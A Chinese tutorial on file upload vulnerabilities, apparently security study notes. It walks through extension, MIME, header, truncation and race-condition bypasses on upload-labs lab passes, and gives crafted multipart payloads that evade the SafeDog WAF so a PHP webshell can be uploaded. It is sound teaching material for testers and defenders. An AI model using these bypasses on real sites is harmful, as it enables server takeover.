初识
什么是文件上传漏洞
有文件上传就可以测试是否有漏洞,关键看代码是否完备。
漏洞危害
自定义网站后门,获取网站权限,属于高危漏洞。
如何查找判断
黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。
白盒查找:通过源代码分析文件上传漏洞。
判断:通过抓包分析
注意事项以及应用说明
文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试
利用思路:
常规类
扫描获取上传
会员中心上传
后台系统上传
各种途径上传
CMS类
已知CMS源码和漏洞
编辑器类
ckeditor
fckeditor
kindeditor
xxxxeditor
其他类/CVE
代码审计
平台/三方应用
验证/绕过
文件上传常见验证:
后缀名、类型、文件头等
后缀名:黑名单(明确不让上传的格式后缀)、白名单(明确可以上传的格式后缀)
文件类型:MIME信息
文件头:内容头信息
源码基础$_FILES[]
<?php
//$_FILES[][]第一个[]指定上传的文件(在html里表现为name的值),第二个值表示输出的信息。
echo $_FILES['upload_file']['name'];//输出文件名
echo $_FILES['upload_file']['type'];//输出文件类型(mime)
echo $_FILES['upload_file']['size'];//输出文件大小
?>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片:</p>
<input class="input_file" type="file" name="upload_file"/>
<!--注意上面这里name的值,必须和php的$_FILES的第一个参数值一模一样-->
<input class="button" type="submit" name="submit" value="上传"/>
</form>
前端
JS类防护,直接删。
后端
黑名单
特殊解析后缀
漏洞成因:没有对一些特殊且可解析的后缀做过滤。
把后缀改成php3、php5、phtml……
.htaccess解析
前提:Apache
.htaccess文件是用来设置伪静态的,一般只应用于Apache。
.htaccess内容一般如下:
<FilesMatch "xxxxx">
SetHandler application/x-httpd-php
</FilesMatch>
解释: application/x-httpd-php 是php的mime类型。.htaccess文件会先找到文件名里含有xxxxx的文件,然后可以把它当做php解析。
.user.ini解析
前提:Nginx、目录下已有php文件
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为PHP_INI_PERDIR 、 PHP_INI_USER的设置。
其中有两个配置,可以用来制造后门:auto_append_file、auto_prepend_file
auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
或者
auto_append_file=test.jpg
然后将图片马传上去,再访问index.php。
大小写绕过
漏洞成因:后端代码没有考虑大小写的问题,没有使用相关过滤函数。
把后缀改成大小写串写。
点绕过
漏洞成因:后端检测时没有删除末尾的点;而在系统层面,文件名后面的一个点会被强制删除。
在文件后加一个. 。
空格绕过
漏洞成因:后端检测时没有首位去空;而在系统层面,文件名后面的空格会被强制删除。
抓包,在文件名后加空格。
::$DATA绕过
前提:windows、php
漏洞成因:后端检测没有去除字符串::$DATA;php在windows的时候如果是文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀,且保持::$DATA之前的文件名。
在文件名后面加::$DATA
配合解析漏洞
双后缀名绕过
漏洞成因:后端没有使用循环替换黑名单,也就是只执行一次替换关键字为空;
php ——> phphpp
白名单
MIME绕过
把数据包里的Content-Type改成可以通过的MIME类型。
%00截断
以upload靶场Pass-12为例
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
解释:$img_path是图片路径,$_GET['save_path']参数可控,$file_ext是我们上传的文件的后缀名。
如果我们控制save_path的值为:
?save_path=../upload/1.php%00
自己随意定一个php文件名,然后后面加上%00,我们分析一下代码:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
变成
$img_path = ../upload/1.php%00."/".rand(10, 99).date("YmdHis").".".$file_ext;
小tips:当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
00截断的原理:在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。
所以我们可以访问http://127.0.0.1/upload/upload/1.php,发现文件执行成功。
对于upload靶场Pass-13采用的是post传参,原理一样,我们抓包,加1.php%00,但是这里我们需要把%00解码,因为post传参不会自动解码,由于burp本身的一些问题,建议用Hex模式下改00。
0x00截断
0x0a截断
内容及其他
文件头检测
在文件内容前面加 GIF89a(gif的头)、……
(1).JPEG;.JPE;.JPG,”JPGGraphicFile”(FFD8FFFE00)
(2).gif,”GIF89A”(474946383961)
(3).zip,”ZipCompressed”(504B0304)
(4).doc;.xls;.xlt;.ppt;.apr,”MSCompoundDocumentv1orLotusApproachAPRfile”(D0CF11E0A1B11AE1
二次渲染
原理:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),此时文件就已经在服务器了,处理完成后在网页显示。
条件竞争
二次渲染时如果是先上传文件到服务器,此时文件已经在服务器了,进行二次处理后,然后再对文件进行过滤操作,就会出现逻辑上的漏洞。
小tips:当文件被占用使用时,无法对文件进行重命名或者删除操作。
试想:如果我们上传的马文件被脚本过滤就要删除之前去访问这个文件,那么这个文件处于被使用的状态,无法被删除,那我们上传的马不就生效了嘛!
条件竞争就是在服务器删除我们上传的非法文件之前,访问这个文件,用这个木马文件getshell。
以upload靶场Pass-18为例
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
解释:脚本是先执行的move_uploaded_file,也就是移动文件的一个函数,简单来说就是先把咱上传的文件放在upload文件夹下了;然后执行的in_array($file_ext,$ext_arr),也就是检查后缀等等过滤。
所以这里就存在一个执行的逻辑漏洞,我们可以利用条件竞争解这道题。
让burp不断发包,我们用浏览器不断访问木马文件,然后getshell。
突破getimagesize
getimagesize函数:对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的
改文件头即可。
突破exif_imagetype
同upload靶场Pass14,但要打开php_exif
exif_imagetype函数:读取一个图像的第一个字节并检查其签名
删除文件末尾木马
upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
使用博主的图片上传。
漏洞/修复
解析漏洞

IIS6/7.x
Apache
Nginx
CMS漏洞
其他漏洞
编辑器漏洞
ckeditor
fckeditor
kindeditor
ewebeditor
…………
CVE等漏洞
CVE-2015-2348
php任意文件上传漏洞
CVE-2017-12615
Tomcat 任意文件写入
CVE-2019-2618
WebLogic任意文件上传漏洞
………………
WAF绕过
数据包分析
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="yjhmm.jpg"
Content-Type: image/jpeg
Content-Disposition: form-data;表示数据是从表单来的。(一般固定不变)name="upload_file";这个的值要和对应表单的name相同。(不能改)filename="yjhmm.jpg"就是我们上传的文件名。(可改)Content-Type: image/jpeg上传文件mime类型。(看情况改)
安全狗-防匹配
数据溢出
安全狗匹配filename的值然后进行过滤拦截,但是当数据量过大时,匹配机制会出错或者匹配不到后面的数据。安全狗也会累。
我们尝试将一些垃圾数据写入包。
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; asciavsbcwiafsdhasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavasciavsbcwiafsdhvvioahvscjkavvvioahvscjkav;name="upload_file"; filename="yjhmm.php"
Content-Type: image/jpeg
当达到一定大小时,绕过安全狗,文件上传成功。
要插在filename的前面。
符号变异
我们设想安全狗匹配的是双引号里面的值。如果我们把filename的双引号去掉,或者只留一个双引号,或者改为单引号…………
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="yjhmm.php
Content-Type: image/jpeg
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename=yjhmm.php
Content-Type: image/jpeg
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename='yjhmm.php
Content-Type: image/jpeg
上传成功。
数据截断
%00、;、换行
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="1.php%00.jpg"
Content-Type: image/jpeg
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="1.jpg;.php"
Content-Type: image/jpeg
解释:1.jpg;.php :安全狗匹配到;后不再继续匹配,所以后面的.php没有被检测到,上传文件名为1.jpg;.php是php文件。
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="1.p
h
p"
Content-Type: image/jpeg
filename=1.p\nh\np 安全狗匹配不到php,成功绕过。
重复数据
因为检测的是filename,那我们多搞几个filename,发现是匹配的最后一个filename。
设想安全狗是使用循环去找最后一个filename的,那循环次数如果有限制,我们搞很多个filename,那是不是就可以绕过匹配了。
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.jpg";filename="yjhmm.php"
Content-Type: image/jpeg
成功上传yjhmm.php。
-----------------------------261565248117576984521022069938
Content-Disposition: form-data; name="upload_file"; filename="Content-Disposition: form-data; name="upload_file";1.php"
Content-Type: image/jpeg
filename="Content-Disposition: form-data; name="upload_file";1.php"
也可绕过。
宝塔
防护
后端验证:采用服务器验证模式
后缀检测:基于黑名单,白名单过滤
MIME检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:getimagesiz、exif_imagetype、getReailFileType……
自定义函数过滤
WAF防护产品:宝塔、云盾、安全公司产品………